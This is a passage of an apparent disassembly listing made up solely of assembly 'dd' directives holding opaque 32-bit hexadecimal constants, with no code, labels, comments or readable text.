		dd 45F7C8h, 7FD11F51h, 744097DBh, 0A1425200h, 0C779B64h
		dd 6CC70047h, 739A7B3Ch, 0AB0F4914h, 60AE4FFBh,	1859BD8Bh
		dd 15B50040h, 0CF11D62h, 0BAEAE4FEh, 6E6B4700h,	0D9CD973Ch
		dd 0BB2E008Bh, 21C7DC8h, 40773EAAh, 0ABF4E700h,	41666A2Ah
		dd 20A10136h, 6E59A75Ah, 0B51BC41Dh, 65FE48h, 0CA8D45FCh
		dd 3B8748Bh, 0C860AB6Dh, 43A8CE3Ch, 0D7000683h,	1AEA50A6h
		dd 0A09452E3h, 0B1D3C4h, 487CC99h, 72E736E1h, 63ADEE00h
		dd 184315C1h, 64350132h, 0E5DFFC80h, 6F08F2h, 501FD22Bh
		dd 0F9049057h, 4C00F4FAh, 72879E66h, 4A409F5Fh,	5B3001A8h
		dd 806D580Dh, 2D629710h, 612EDBD1h, 969A2090h, 0E8D0F72Ch
		dd 1400BE7Ch, 54EF5E1Dh, 0DF184FFDh, 0F4B970h, 0FED4694Bh
		dd 0EB2965E3h, 0A4337900h, 18B0EA2Bh, 0D81C0066h, 0BEAE5291h
		dd 5D062A96h, 512E39CEh, 0A8380068h, 0B93BC8C1h, 0A20EA05Fh
		dd 41737AE7h, 0FF3E4AA9h, 12A1DED8h, 40B22A13h,	0BB792C04h
		dd 3700CA07h, 55F17CE3h, 0E2BFE4D2h, 6A6D00F7h,	30977954h
		dd 8049A8Ch, 0AE688B9h,	94876C80h, 48130086h, 0B437F04Eh
		dd 6E0FF561h, 0A0CA6C99h, 0A471DA15h, 3BB29859h, 6496A38Dh
		dd 735A03ECh, 56903F1Dh, 0B200029Bh, 249626E0h,	6C4466h
		dd 3ACE27E5h, 2EBF3EAh,	374793Ah, 0AC7DE4FAh, 0D639050h
		dd 0EECC0645h, 48295F81h, 2246E700h, 0C33747E9h, 0A81E0BFDh
		dd 7530D9h, 2CB9CFB6h, 34760EB6h, 26801AFCh, 6A64481Dh
		dd 734A7D00h, 1E619E8Dh, 0AB8306BFh, 581BB936h,	60168101h
		dd 74DC80E4h, 0C21D6F0h, 11DF933Eh, 33004E20h, 801629C8h
		dd 74816F4Ch, 90C400D2h, 92DF8CC3h, 6400D97Eh, 369B1346h
		dd 176278B7h, 0CC6E091h, 1FD01709h, 8C1C8700h, 0C1194A5Fh
		dd 0E783002Dh, 3E39CF82h, 0C574FD4Ch, 31085C03h, 908A3C72h
		dd 5E17B9C7h, 6B29C02Fh, 0E70085D4h, 0B767DAD7h, 0E706FA2h
		dd 0E1B9E228h, 392E7600h, 0D8F75E2Fh, 2403BBB3h, 0C37C782Dh
		dd 2FE85E6h, 0CD754AEEh, 0C08209Ch, 406BCF88h, 273CE0B5h
		dd 830E7C39h, 0D1D74861h, 0E15000CAh, 0C04D3F9Bh, 0A5307397h
		dd 0D6761984h, 0A2351DF3h, 0DD0E8071h, 934EC90Fh, 0B132400h
		dd 3CD945FBh, 6D83C31h,	40F2041Fh, 11AAE7Fh, 0C770A2C2h
		dd 54A0C460h, 706E8C7Ch, 0D030059Eh, 824428B1h,	1CE1A846h
		dd 6FA3F44Bh, 8F50C200h, 0A2DCEA1Eh, 680328C1h,	62261CA4h
		dd 8B587113h, 4065ED2Dh, 0EEFBB9A8h, 3A087601h,	60B8A07Ah
		dd 2C81B882h, 44024F36h, 6D7F4023h, 28FB02E2h, 0EE34040Ch
		dd 767280B0h, 406A1911h, 932523B0h, 1500B578h, 0BF305401h
		dd 14B4FD1Dh, 0AC26E9CDh, 0BD24CA00h, 6D9565EBh, 0C42CE800h
		dd 4FCD7ECEh, 0C9550074h, 1319F720h, 6E24ADE5h,	3B001441h
		dd 0B99A94BDh, 1171003Ah, 0C6421C12h, 0B0A0D60Eh, 0D8053772h
		dd 14BC6FD2h, 3A9F202Ch, 0C2C4CDh, 85EBD94Ah, 1794CAB8h
		dd 135AD08h, 253F7FB7h,	16D04013h, 0D590D16Bh, 0FB0F8690h
		dd 82E15DD5h, 8112DE17h, 0ED7DE9C8h, 53E8ECh, 3B689AB8h
		dd 0D50E6C42h, 64372805h, 0FC00772Bh, 1356A48Bh, 0DF9B00FCh
		dd 29CDA18Fh, 0A30C68D9h, 5067701Ah, 7DA23813h,	14FE9397h
		dd 0BA009653h, 57EA75FBh, 1800833Ah, 2F9CEFF1h,	0F2B674h
		dd 3FEB22FCh, 9BDF6B1h,	0A1921719h, 0C3F51AC1h,	3B580CD3h
		dd 20199A3Dh, 0B4313E00h, 0FE15A432h, 6F064063h, 2C790558h
		dd 8002C7Ch, 3A2BEAFCh,	9AEF0045h, 0ECE770A3h, 0E57652BCh
		dd 2DE0FCB0h, 58722E30h, 60E4FC67h, 18A048C1h, 0EE608E98h
		dd 0D04EEC28h, 561A002Eh, 6E0B0A73h, 2107EF71h,	674966CFh
		dd 0B74EE2D0h, 0DE68006Dh, 3314C4AAh, 0EA00F77Eh, 58569B6Fh
		dd 7382534h, 0CA1C37D0h, 9ABE00C8h, 0C900964Fh,	0EF4B5927h
		dd 3BB9F414h, 1006330Dh, 58E1AB6Fh, 0A7AE3601h,	9E5D57BDh
		dd 0E482E347h, 890D409Dh, 5690085h, 164D2009h, 1A0024A2h
		dd 0AEE53F32h, 90AFA7A3h, 0E4F0178h, 0C4224C34h, 491BF01Ch
		dd 91815Ch, 0CE8AAF6Eh,	1C6C0F18h, 56F9B3h, 0A26528ADh
		dd 4B000B5Bh, 69D9E343h, 0B78B5Dh, 2102F49Ah, 0B1804C25h
		dd 617C0900h, 0E40FCCFDh, 0F0DC00B2h, 96196013h, 0AF039F94h
		dd 0F5427E17h, 6DD3983Ah, 880A0065h, 0A94FF4CCh, 3C00B262h
		dd 4724B4C0h, 0FC2CB8Dh, 29846AA8h, 3E3F4D05h, 730E0004h
		dd 0FD24B7B5h, 761F0096h, 0F130C2F7h, 0CC7F06EAh, 52B8744Eh
		dd 0BD5CD40Ch, 4F0180E4h, 0DE6C2393h, 0ECD08CB1h, 0FDD203AEh
		dd 0C744202Dh, 65C05BD0h, 0B4519F00h, 9D91687Bh, 10433DAEh
		dd 4D499000h, 0B0F6A8EFh, 0CB125900h, 0C8D75F0Bh, 0B4C40096h
		dd 7D9E6082h, 1C0007D8h, 0DE4E4AA0h, 0FA6CB2h, 0C874BE9Ah
		dd 2F57097Eh, 9301CAF8h, 24D1C4D6h, 0BBC8B30Dh,	168F00BCh
		dd 0BE99B48Bh, 8000F122h, 72D07546h, 0EF88ECh, 5569CF71h
		dd 451F2F3Fh, 0C2E2E000h, 5CFCADD8h, 6BD600CBh,	14126121h
		dd 3F0F0CB7h, 602B8F01h, 5D3A3BB3h, 0F77B87Fh, 632AFDF3h
		dd 0F084C260h, 0A60F75D8h, 0C0F5ED4Ch, 8342E3C6h, 0E28200F1h
		dd 0EFC1D0D6h, 4100A46Dh, 0EB939DA1h, 1C44E30Eh, 0C5C9267Ch
		dd 0C08002B3h, 60787F32h, 7BB6EF0Ah, 1F00D884h,	0F03BF8AEh
		dd 7238005Ch, 0D1443EB7h, 151E29A8h, 870EBFCEh,	0EDCAA0ECh
		dd 0D6211C79h, 85730038h, 3AB71D8Fh, 0DDCEDF00h, 582A05A9h
		dd 7BAC0F60h, 4C80D6B1h, 35C028A6h, 693BE61Fh, 1C8ED054h
		dd 0E3400A9Dh, 0DC375534h, 0EF2C1F97h, 5A6B8070h, 0D64AC6Ah
		dd 0FA429B12h, 4E00E0ACh, 7D1DD99Ch, 0F200CE53h, 0E1E838A9h
		dd 7B071AC9h, 5F430FDEh, 407E1974h, 9AF4CAF1h, 4D03BC42h
		dd 0FC10488h, 56E4C8DAh
		dd 0DBF600B8h, 3B857841h, 0A73B7225h, 0B3E500BAh, 0E3E8FA0Ch
		dd 2EB00C13h, 0FCF0F021h, 4F2BBD0Fh, 7A8F0065h,	0BA68A7h
		dd 69CD2502h, 0B533F7Ch, 5200A575h, 57A47984h, 0BCA38Ch
		dd 2F077B4Ch, 4DAEB011h, 79B6ACA0h, 0FB564300h,	0C01965A6h
		dd 0FF1E006Ch, 63840B3Bh, 2020361h, 5CDDBA6Eh, 0CD524020h
		dd 69C20074h, 61223992h, 9800F18Ch, 49DE15DCh, 6AB63Eh
		dd 875DD45Eh, 3226E108h, 7244E800h, 1169E663h, 3F521ECCh
		dd 0B6754006h, 0CF39258Eh, 0DB26EE05h, 0C900CED0h, 715868Bh
		dd 23790037h, 0C5C91D91h, 4E01D8DAh, 3CEF82D3h,	89C03D2Ah
		dd 9D1A0070h, 0A456C9B1h, 310178EBh, 3E61C15Dh,	0A36054EDh
		dd 0BCFB0034h, 0FD977BC4h, 2490775Ch, 24C2A710h, 1CAE3009h
		dd 71B17087h, 0D8C4C6A2h, 4E00D2CEh, 15945049h,	9EC384h
		dd 172B185Ch, 230657FBh, 5121E600h, 9AF58214h, 0BFEC1C38h
		dd 5D6404B8h, 95B5E008h, 0FCF1E700h, 54BE5327h,	3B8A7B1Ch
		dd 7D1FDD49h, 0A9E4116h, 0E0696DBCh, 0A50386E2h, 5DB30CADh
		dd 0B162F01Ch, 0D92600ECh, 5433D823h, 7E01BBB4h, 0C1CB82A9h
		dd 0BECC2C76h, 0F7A31437h, 6900D252h, 255A0C7Ah, 6B00DF90h
		dd 0DD44F1AAh, 121B11h,	0BA483F27h, 0E56707F8h,	8D9EC600h
		dd 30A263A9h, 0CE27096Ah, 6103D992h, 0BA991365h, 42ADE4D3h
		dd 0EF507C02h, 41F396C9h, 59603D08h, 9C0801F5h,	89E9831Fh
		dd 34AFE4B4h, 1105487Ch, 9546A67Eh, 0E8F3F380h,	67C8014Dh
		dd 29B8EA66h, 9C3B20F7h, 0A1DD030Fh, 525D40D2h,	3733E70h
		dd 0BF3FD0A4h, 46F0BAEEh, 0E5004741h, 0AE54F60Eh, 1B202D5h
		dd 0F1BC5BB9h, 0E45D4DDBh, 6C702197h, 0B3438200h, 0F7D89011h
		dd 7CF80045h, 9610A25Dh, 1A00A6DDh, 17BCF32Ch, 0E856E3h
		dd 8735061Fh, 4ED56657h, 0B56BF212h, 0B3151007h, 0D15414E0h
		dd 7A763DC0h, 662C6A80h, 40B11E9Ch, 0E8B9D001h,	7EDDECC6h
		dd 5E442080h, 0A0711425h, 30684B0Fh, 95A48074h,	3EDFF5CEh
		dd 3F000EE1h, 9DAAFB82h, 5DE62AFAh, 0A3E57C00h,	8D165A21h
		dd 94530725h, 0D320EC98h, 769B1FAEh, 0F45033C1h, 770FCD89h
		dd 401CC294h, 7AEC81AAh, 0A028C093h, 3B27D031h,	0BC03C398h
		dd 9912057Fh, 0D8F3DBCFh, 48E0981Fh, 210F5976h,	5AE08E31h
		dd 6BA59524h, 0DE606100h, 3BE0EA84h, 3EA6E2CEh,	70078B58h
		dd 8FAE5A80h, 0EBAFDBA0h, 4103631Eh, 0C4A2F44Bh, 0DF0DA122h
		dd 1084FCh, 6175ADD0h, 5991EC6Dh, 8BAD902h, 0F73957AFh
		dd 0EE76B160h, 0FA5C8D00h, 6FA0F4CBh, 914900C1h, 3F86E789h
		dd 3A0044C9h, 0D94B5105h, 904ECD85h, 0D9205C5Ch, 78808F3Fh
		dd 0B8BCD63Dh, 790FFF34h, 0AED790h, 0CAC31059h,	0D51B0304h
		dd 0D9F56488h, 7633909Fh, 0EA00A88Bh, 0AA352517h, 70280Eh
		dd 3C079FDBh, 0DF81A501h, 4BBB0601h, 0BEB33264h, 1CA75DC4h
		dd 5DC7C284h, 5FD0DCB1h, 0D3AA81D6h, 0D0A0C808h, 2B00BEE0h
		dd 8A04B0CEh, 475949h, 77E9E34Ch, 0CDE6D92Fh, 19A04000h
		dd 7610BF68h, 0F1870157h, 2FEA5AEFh, 0C44FDC84h, 3E22D800h
		dd 0FDF7E072h, 0B6A0BBEh, 70A0B81Fh, 50D8EDC3h,	1A00717Dh
		dd 3B8F6D64h, 0E2EB5Ah,	2021DD87h, 32C790BAh, 1A42E700h
		dd 4158F7D1h, 0AFED00CBh, 6F1DD08Fh, 0FF0F1847h, 0B5B296h
		dd 0C92E3F83h, 0A5B80AB1h, 17084C4Eh, 90F10610h, 0E2008183h
		dd 0CD34EFCFh, 74C7FAADh, 0B1EC005Eh, 9125D806h, 8207AEA8h
		dd 0BC8758A2h, 0B219A5E1h, 44B798E3h, 0A19100A7h, 7D7382DCh
		dd 0E019045h, 15DE17Eh,	0CAF0C457h, 728DE224h, 0C6925C26h
		dd 9A0BC101h, 0E447EF77h, 0E900AD51h, 913B11E6h, 3DACBDB1h
		dd 0D6877566h, 0E33F4D46h, 80ECF784h, 0EBE534E0h, 8961F901h
		dd 0F65413ADh, 0E2901F7h, 85BC84D8h, 0A2A4E40Fh, 39335701h
		dd 0FCAEBB7Ah, 8AA9FCh,	0E651FE55h, 8899B2Fh, 380108B0h
		dd 0D4CDB776h, 0C03083E4h, 48DA7152h, 6E002F3Ch, 0EF66997Bh
		dd 0DF2F52Dh, 85316500h, 0ED347E1Ch, 5F0F0007h,	4326E4Eh
		dd 56745D30h, 36ADE30Bh, 77EAC295h, 0F88B9D40h,	0ED285700h
		dd 0A1462794h, 0AE2600DFh, 0B7D43E30h, 0CA12CBAFh, 2F00E32Eh
		dd 0BB01EABCh, 847143Ah, 6D12D8AEh, 0E9620067h,	0E42A2EF4h
		dd 5D88C200h, 0F631969Ch, 15AB0095h, 0C7BA67A0h, 983F72CEh
		dd 4EE8029h, 0AB2C0ACFh, 0A8F71F64h, 0F95700F0h, 0A959AFA6h
		dd 629C1413h, 80B6E44Eh, 0E3ACDB2Ch, 401E09BFh,	1100AB83h
		dd 4F1A416Ch, 383FAA00h, 0ACE2924Ch, 2C1B2C34h,	3082C09h
		dd 0C9CAAF29h, 0A04D4C80h, 1A3D6C0Ch, 0DD10B3h,	57F4A875h
		dd 74E05997h, 871F0200h, 0AD85A6DAh, 4BA10E6Dh,	0CAC0E577h
		dd 21AEAA0Ch, 305B7A30h, 8F467C0h, 0BCB6A722h, 186858CCh
		dd 3074A2AAh, 590A9CDCh, 2C5F2B20h, 884552C1h, 0E9E02916h
		dd 0EC19A075h, 4008CA12h, 2C21305Dh, 3601C0Ch, 0A7F8D7E8h
		dd 2CA5DE3Ch, 0D426A64h, 0C6403960h, 0CC3053FEh, 0E2C740D1h
		dd 2338ACBDh, 0A0859398h, 3060A15Fh, 0FD37F2B2h, 5004800Ch
		dd 1E7EF8Ch, 0A1279C83h, 9C4F29DAh, 34795814h, 0EF64E0C3h
		dd 98844042h, 46EEEA70h, 0FDC0000Ch, 0D367EF48h, 4330ACA6h
		dd 0AAB91438h, 8CAF14CCh, 1160A618h, 6E3758DAh,	431D0031h
		dd 508587EFh, 14B298E3h, 0D4E729FDh, 603861F4h,	27EFF0E9h
		dd 240A8C26h, 1640A91Ah, 0D280C2BCh, 40300CEDh,	0EF980A52h
		dd 8DFCC7h, 514E1407h, 0B40FF10Ch, 0D420A724h, 0F708E048h
		dd 0A7443A2h, 8092E5A0h, 31EC7CABh, 76012080h, 3060B23Ah
		dd 33E709A7h, 3B10C0CDh, 26278422h, 7FA81765h, 28009414h
		dd 24898A8h, 98716804h,	36E01956h, 410348B8h, 5010479Ch
		dd 53F95AC0h, 5CD20C24h, 2F9E093Eh, 0B07C151Fh,	41A5C059h
		dd 0FAC7240Ah, 0D30AA499h, 2438CC61h, 4C73A0FCh, 5040ADA0h
		dd 20E1488Ah, 80F77218h, 0A0C948C7h, 24F4162Ch,	222455E2h
		dd 608FE01Ch, 7BEB305Fh, 835239D1h, 54E8CED8h, 12F4D438h
		dd 182C2EE9h, 20900CFFh, 6811805Eh, 6A8AC109h, 60588F53h
		dd 0EC1E6294h, 10CE48D2h, 0A574FB39h, 540680C4h, 0ABEFF746h
		dd 3A87C0A0h, 638F557h,	9286AB26h, 0DBC01661h, 808010D7h
		dd 0F4A90CA3h, 2816EB2Ah, 0EA0A7120h, 37E060C6h, 0DC64EA7Eh
		dd 0DE450028h, 0E0D0E6B1h, 0C8A526E8h, 0B2B8A03h, 8994FA91h
		dd 1E55E8Ch, 0F1D9067h,	0D84BC42Ch, 7695461Dh, 5683202Bh
		dd 1CE81E0Bh, 83214071h, 225BA70Dh, 0F62F27A1h,	88789CE0h
		dd 786CD857h, 47D6D909h, 8EA4209Ah, 856C19A8h, 89FCD701h
		dd 0C4505E2Ah, 141A333Bh, 18A2BC2Ch, 0A88613A0h, 0D8E99D30h
		dd 0E0794EE0h, 55F50B8Ch, 0AA562C0Ch, 0A0A0CC14h, 32144D9Bh
		dd 0C038D57Eh, 6C1040D7h, 0C572B0Ah, 0F5598718h, 0F35CE2A7h
		dd 75E5CC82h, 74308CC2h, 8E075551h, 52CB451Ah, 5830F805h
		dd 235871h, 52C8FF95h, 0D861460h, 1A644712h, 569C838h
		dd 0DF0F7675h, 9BC1CFDh, 58960D34h, 283B1406h, 928CCC5h
		dd 22E0FFA0h, 0F802B016h, 1ED059DCh, 8FB081FCh,	285C1A43h
		dd 35D00C32h, 0E0C84453h, 0D4F0A02h, 0C1D6C587h, 0C7F468E4h
		dd 0B930246h, 0B25C471Ah, 53E8D040h, 0B647A6F8h, 3967D907h
		dd 0DA0AA5Dh, 214803C0h, 0E7088424h, 9C800DD7h,	13F8F18Bh
		dd 16A74F67h, 20042830h, 0F00DA23Bh, 0ECCFE8DDh, 72B01087h
		dd 9DF21816h, 0C50970DCh
		dd 2E54011Eh, 0A862F50Ch, 616C73C1h, 60A050FEh,	0DEE1DC5Eh
		dd 38472662h, 5E8CDB1Ch, 48408926h, 2C13204Ah, 8E503CF2h
		dd 0D430CAFCh, 7EA090A4h, 273E0448h, 0CB0D155Fh, 98CD3918h
		dd 80913ABFh, 18E34C5Fh, 3BF49E0h, 58980F30h, 1F0E2AE0h
		dd 83358721h, 8E730729h, 0C9A42CA5h, 0A0B2753Dh, 55C014E6h
		dd 0B71DC8BAh, 0AAAC0074h, 828C7243h, 26B9E601h, 0FC7FFB6Ah
		dd 9EDEC8h, 8DA68BC3h, 5DB568ABh, 0DBF34C1Dh, 0C3CAEC1Bh
		dd 0B829F8CCh, 0B76A1FACh, 0E8340C62h, 306F218h, 2EE54C30h
		dd 0FCD02930h, 81F10230h, 0CEE067BAh, 1D018B8Dh, 16AC5795h
		dd 60D023E7h, 3C0CE8FEh, 4C0C3A89h, 8A0811B3h, 87520D1Ch
		dd 0E7369741h, 47D0D51Fh, 78A864C6h, 61CAF03h, 18F7803Eh
		dd 0B8F87ED8h, 56A8079Ch, 43A9E76Ch, 3074C08Ch,	0A0289E31h
		dd 109F2450h, 74BC3EBh,	6CE0D592h, 9F156ABDh, 0CF903D67h
		dd 573042E9h, 4EB0184h,	493400DAh, 0D2E5E955h, 0AE0EC080h
		dd 0A43A0787h, 0B81F7B77h, 4F245D2Bh, 116C3030h, 28AC1456h
		dd 24803005h, 985F9B5Ch, 0CB8DA90Ah, 0CC04C09Dh, 0FF0699C9h
		dd 0C703A07Ah, 87AC2B94h, 0A0087BA7h, 3AFE4CA0h, 69302CA6h
		dd 4D85CCE0h, 13BCF4A0h, 0C56C4E1Dh, 0FC8740CAh, 14B73950h
		dd 0CCC9AD52h, 46BB2B00h, 0D485AC55h, 652C5D07h, 6C4E57F7h
		dd 651E10EDh, 71D7D071h, 0C44D72F0h, 0B80DCACh,	58EB0AC9h
		dd 5902A2Ch, 7181EECh, 0CFEF4CB8h, 50C0EE06h, 6CE88A61h
		dd 0E401D454h, 1860943Eh, 0FCCC0CB0h, 500E08C2h, 0E5EAA01Fh
		dd 662DACF0h, 0A08030F3h, 71ACC00h, 4BF02C4Eh, 0C00C30B8h
		dd 2704C60h, 2445E1F9h,	0F107A254h, 8EA68DE5h, 0B460CD40h
		dd 462D1DFBh, 441E3C02h, 866D0607h, 0B32808BDh,	8C63A06Bh
		dd 0FB7AD18h, 62F13109h, 0B801D363h, 4E2085F8h,	10C6EDF0h
		dd 3F08E9ACh, 62837E4Ch, 4F49D46Ch, 111F5CA3h, 6436BF3h
		dd 0A1BBD39Ah, 0A6D0A4F5h, 681F0094h, 0D46AC87h, 8D032DCDh
		dd 0B6076690h, 5934A0BBh, 6D4D3BA1h, 320DAD86h,	9200409Fh
		dd 0D86768B6h, 3C2769C2h, 3C74B84Dh, 0FA03CB8Eh, 5BEBEEF9h
		dd 0D0C01CA1h, 7BE86EE3h, 0C8624F07h, 0EB9003BBh, 0E9D05F3Bh
		dd 0F0E479E0h, 46691FDBh, 5BAD00C9h, 29609BC8h,	3ECC8B80h
		dd 0C1BC7009h, 88A8037Ch, 30E050DDh, 446AB0C7h,	2502F03Dh
		dd 151BC959h, 0DB80096Bh, 3AAFBBC0h, 0FC2908C5h, 11899BC1h
		dd 6CEFBF0h, 0F15BC6A2h, 1C4018B5h, 2EFD34BBh, 20B286B0h
		dd 0EF174579h, 1E1DC9D0h, 1856E607h, 0C0DB1AF3h, 0F8C83CB0h
		dd 0F061F250h, 0A56A3990h, 0FA0D000h, 1208706Dh, 0C7991601h
		dd 78F9185Ch, 7DC419F5h, 1BFA015Ah, 0BBF513B5h,	110BA6Eh
		dd 0AF94F95Dh, 9BE12799h, 1DEB4AE8h, 4F0E70h, 0FF864D0h
		dd 0C2606B3Bh, 561FA340h, 32E0771h, 0B00DAB1Ch,	5169A541h
		dd 1B3C2A0Ch, 7D322821h, 0AFDB184Dh, 38860825h,	0F8E73780h
		dd 6061033Bh, 810D7BF5h, 4F621800h, 0D118BBFFh,	319B1F55h
		dd 9F5B0619h, 1329823h,	83CA280Bh, 78E51BF8h, 3FFEB30h
		dd 98E78610h, 40C7CF1Ah, 0DDFC7B3Ah, 9488B001h,	0CA499BEBh
		dd 891CF041h, 0F12AC841h, 288060F3h, 0D125FDD0h, 0E3DE101Ah
		dd 0FFD78150h, 70805EFBh, 9986903Bh, 0E266893Ah, 12186910h
		dd 362929Bh, 0C8668414h, 244018E2h, 0E466997Bh,	6A13F60h
		dd 0FBC83D5Ah, 0CC00318Ah, 56B0D111h, 6650099Dh, 9DB409Fh
		dd 8CD44AA1h, 8FE8548h,	0C0F26234h, 20407135h, 4890060Ah
		dd 0C940BB03h, 0A04A7E9Bh, 90D742FBh, 0AF3C020Ch, 0D6D1D919h
		dd 0F76B1C40h, 7B482C90h, 5100A24h, 9000A865h, 0ED9B0FF9h
		dd 4ECACFDh, 73400D7Ch,	4F401E58h, 501BF40Fh, 0F0DD05F7h
		dd 70FAE885h, 0EA925A1Ch, 360096ECh, 9D5BFC2Ah,	767BFAh
		dd 0A3F0E7FEh, 0BBEF9586h, 14304B48h, 87201E46h, 2F00636Fh
		dd 142A351Fh, 3411F7DCh, 0B26764A0h, 286C1631h,	60213FBCh
		dd 7587520h, 6EB13BF5h,	0C68742F4h, 38912440h, 0C4247D80h
		dd 872DAF08h, 38F81654h, 385648h, 0F515EDBBh, 12F07B9Bh
		dd 66D7A98h, 60795B48h,	0E8411B28h, 4C92A2F0h, 82778300h
		dd 99872BDAh, 924C039Ah, 9C6BDB55h, 0FF760801h,	4D80FA98h
		dd 935D508Ch, 3D717140h, 31BE1013h, 0F5E40404h,	0CED5880h
		dd 9E901DD1h, 0C3D00407h, 2358C3CEh, 1BA9012h, 0F2FB3C03h
		dd 670802E3h, 0FEFA998Bh, 13D28469h, 7BC8E8E4h,	70654044h
		dd 1A3A88CDh, 18EE509Ah, 3D299400h, 44902C50h, 1BE97002h
		dd 4873F0D1h, 983FF1A0h, 58CD4878h, 56825000h, 5EC6BBC9h
		dd 4A037BE8h, 6D5BF5F1h, 7EDBE155h, 8E9B0886h, 0B64C5831h
		dd 0FFD018A8h, 98199048h, 7C40F0A0h, 9A43F0C6h,	467632A4h
		dd 78408438h, 0C364BCBBh, 0A4D07908h, 13D31B8Eh, 5BEC70h
		dd 7F052788h, 8C9A1130h, 78129F3Ah, 0EFF39206h,	1B08C550h
		dd 10F55990h, 4000119Bh, 107F33A7h, 0F185477h, 0EFCFD2D9h
		dd 0A8A7E209h, 4049942h, 0DB1C815Fh, 7B60308Bh,	0E809846Eh
		dd 886509DCh, 0B6941C02h, 0D3A3A040h, 0CD3D3490h, 747B8C82h
		dd 40DC282Ch, 881C0A30h, 0D48C5B0Fh, 3F31D8F3h,	0B8837BDEh
		dd 0E7139BF0h, 6E8B1001h, 0CBCC70EAh, 0C954BA00h, 49B5B12h
		dd 0EA7A8060h, 764224EEh, 949C0AD0h, 3EDA6010h,	20F315F4h
		dd 874D7C90h, 0AC0F26C0h, 9CC74989h, 0A7D000E8h, 52BB7E02h
		dd 3E485C2Ah, 623B1E7Ch, 6E0C1CA6h, 2B98D839h, 814CFB83h
		dd 0F1B7B5F8h, 3C78867Eh, 2868F790h, 0EA842E50h, 0AC40C52Dh
		dd 102C82C4h, 1A28843h,	0C028046Eh, 256FAB77h, 27392448h
		dd 0F4367E00h, 0B82B215Bh, 76801CC6h, 0B59573B9h, 0FC231C47h
		dd 7770F2BDh, 0F79C1498h, 0A4D5B709h, 87348266h, 123CC0D2h
		dd 1BC0164Dh, 7BD402BEh, 9C42E42Ch, 5EBAA0A2h, 0D7DBE4C1h
		dd 24A481C5h, 2250C85Bh, 0D8F8C098h, 0FBF43CB8h, 0E8F02874h
		dd 1F9B08C2h, 6FCC4103h, 4CBC3474h, 9F021C7Eh, 0B170EFF6h
		dd 0B9FB5DC0h, 7BF4CA1Fh, 0DE10F398h, 0F0EB1609h, 30CC0206h
		dd 0E4802F80h, 1B0FBCA7h, 0C0D45F21h, 0E2B1C6D3h, 0BCE09EEBh
		dd 3000DCA6h, 90245C8Eh, 18415861h, 0B0108131h,	689024D7h
		dd 904C9890h, 43BEA0B8h, 0A5F03180h, 8A089C50h,	0EC7F1BC8h
		dd 4028BB12h, 7636046Ah, 966A6A7h, 5448882Dh, 0E596A8E0h
		dd 0D8A0508Ch, 44DF4C5Ch, 6B18B00Ch, 0F1C2A258h, 0B8C6AEEEh
		dd 17A46134h, 44591270h, 93F4540h, 22C1E68h, 0A455EFBAh
		dd 350265FEh, 22646074h, 1A4A706h, 0AEE76191h, 0FD2824BAh
		dd 74F80465h, 0C048E811h, 5DDC3E73h, 235A3ABAh,	5299992h
		dd 81CFCB00h, 603AD6D8h, 186F4B1Ch, 0CD548E0h, 0E210C6B9h
		dd 0FB0FDE0Ah, 67E0C0ECh, 62C05DA3h, 51BC88CBh,	83BBC60h
		dd 6390CA62h, 832C40F7h, 0E368CA07h, 9B690F0h, 8375C1F0h
		dd 174B90B4h, 4283D08h,	81791F44h, 305CD0ECh, 18948EACh
		dd 8C04E713h, 0A4D19350h, 2070C1B5h, 7DFB7C59h,	7F071C30h
		dd 9008B0F0h, 0F1F10205h, 0F320215Eh, 502880FCh, 2C90C834h
		dd 10131D30h, 307F18B9h, 303876D0h, 20DF5848h, 2B086039h
		dd 0F4191612h, 7C6D4834h, 0DA08C473h, 69BC040Ah, 0A2D0A118h
		dd 0EB80C2B0h, 90036BC7h, 7919A188h, 843858FFh,	0AA683B31h
		dd 0C1808C14h, 13DBB00Dh, 181A8399h, 610990C5h,	907B80CCh
		dd 0A00C6F10h, 384D0506h
		dd 10B02971h, 78F6F434h, 61F0D2C2h, 88FAF67h, 0FB008D11h
		dd 3BF2B16Eh, 57E98560h, 671BF356h, 785B081Ch, 0A8020D97h
		dd 636EE6DBh, 1881BDB0h, 0B030BAFBh, 0A07233BBh, 0C98FC750h
		dd 95827880h, 0A8B8508Fh, 11C59B19h, 14305828h,	0CEEF2C1Bh
		dd 1711B14Ch, 0D8388B25h, 92BC86A8h, 518CA110h,	41FC3820h
		dd 0D0F8700Dh, 64C3E32Ch, 501D7B16h, 5BDFF0Fh, 709395BBh
		dd 780852F2h, 0D5D3AFC1h, 9C4C24C1h, 58504E2Ch,	18F2EA70h
		dd 28A7E9D3h, 54B8987Ch, 3487D0A5h, 29CC0ECCh, 4019085Ch
		dd 29503024h, 392A2237h, 709B3C24h, 0DDEEBB05h,	134D2C28h
		dd 5E868AB3h, 0FC487D60h, 45701B13h, 9BDFE8h, 0F3734D88h
		dd 0ED3A8D3Bh, 0D8591DDEh, 0B162FB00h, 0B0F230E0h, 4C1B2CCCh
		dd 78BB02D8h, 8C9655B2h, 8616F40Bh, 0FC3020D6h,	0C0CC7Dh
		dd 55DA17FBh, 0D31611DBh, 5F1AF014h, 0B80A28D4h, 88123B10h
		dd 0F3D5C409h, 35040496h, 8EB7E2CAh, 4D0FDC03h,	0C327F001h
		dd 0C7FFB55h, 587C7020h, 0ED511852h, 409BFC01h,	5CDA70E0h
		dd 0BC37404Eh, 0F651B2E0h, 6030F4E2h, 222680B1h, 0BC8294E5h
		dd 0C5C0E96Ah, 29B287A4h, 97BFE449h, 0CC024B00h, 460131Bh
		dd 0C0486830h, 22B21898h, 0B22707E8h, 4824B218h, 0E25870A5h
		dd 0F43C8414h, 0B3A18CB0h, 2CC39020h, 9B4637Ch,	4C80CB3Bh
		dd 0E7FE58B0h, 0FFC01018h, 0C24BBE08h, 0FA1A9DE8h, 0F2814445h
		dd 0FDA57AC6h, 905CD889h, 21899089h, 0D185482Eh, 521C700Fh
		dd 9F24B3DFh, 0BD89388Dh, 91AC8657h, 62D07040h,	65470DCh
		dd 1A1288C7h, 28C7AD02h, 0DD404362h, 0C707430h,	0BA0F20CAh
		dd 7FA3FC12h, 89551805h, 790460CEh, 883B9018h, 7E505104h
		dd 1C9089D0h, 0AC70DB4Bh, 64B02B1Dh, 0A0BCC181h, 9D51F08Ch
		dd 0D5B2D0A4h, 0A1C080B1h, 58D4E693h, 9C0068B2h, 0B918B446h
		dd 952485F3h, 1050500Fh, 0BCE21E62h, 1D8E829h, 791880ACh
		dd 4BEB5C3Fh, 5E2804F0h, 38A472FFh, 308B6596h, 0D04C8074h
